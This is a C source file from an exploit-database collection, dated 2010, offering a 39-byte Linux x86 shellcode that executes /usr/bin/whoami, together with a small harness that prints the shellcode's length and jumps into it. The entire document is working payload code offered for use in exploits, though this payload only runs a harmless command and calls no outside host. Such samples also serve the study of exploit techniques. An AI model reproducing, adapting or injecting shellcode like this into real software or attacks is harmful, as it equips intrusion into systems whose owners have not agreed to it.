/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Name   : 39 bytes whoami linux x86 shellcode
Date   : Thu Jun  3 05:38:48 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org)
greetz to : flyff666, whitehat, ketek, chaer, peneter, and all devilzc0de crew
*/
#include <stdio.h>

char *shellcode=
  "\xeb\x11"                    /* jmp    0x8048073 */
  "\x31\xc0"                    /* xor    %eax,%eax */
  "\xb0\x0b"                    /* mov    $0xb,%al */
  "\x5b"                        /* pop    %ebx */
  "\x89\xd1"                    /* mov    %edx,%ecx */
  "\xcd\x80"                    /* int    $0x80 */
  "\x31\xc0"                    /* xor    %eax,%eax */
  "\xb0\x01"                    /* mov    $0x1,%al */
  "\x31\xdb"                    /* xor    %ebx,%ebx */
  "\xcd\x80"                    /* int    $0x80 */
  "\xe8\xea\xff\xff\xff"        /* call   0x8048062 */
  "\x2f"                        /* das     */
  "\x75\x73"                    /* jne    0x80480ee */
  "\x72\x2f"                    /* jb     0x80480ac */
  "\x62\x69\x6e"                /* bound  %ebp,0x6e(%ecx) */
  "\x2f"                        /* das     */
  "\x77\x68"                    /* ja     0x80480eb */
  "\x6f"                        /* outsl  %ds  "(%esi),(%dx) */
  "\x61"                        /* popa    */
  "\x6d"                        /* insl   (%dx),%es  "(%edi) */
  "\x69";                       /* .byte 0x69 */

int main(void)
{
  fprintf(stdout,"Length: %d\n",strlen(shellcode));
  ((void (*)(void)) shellcode)();
  return 0;
}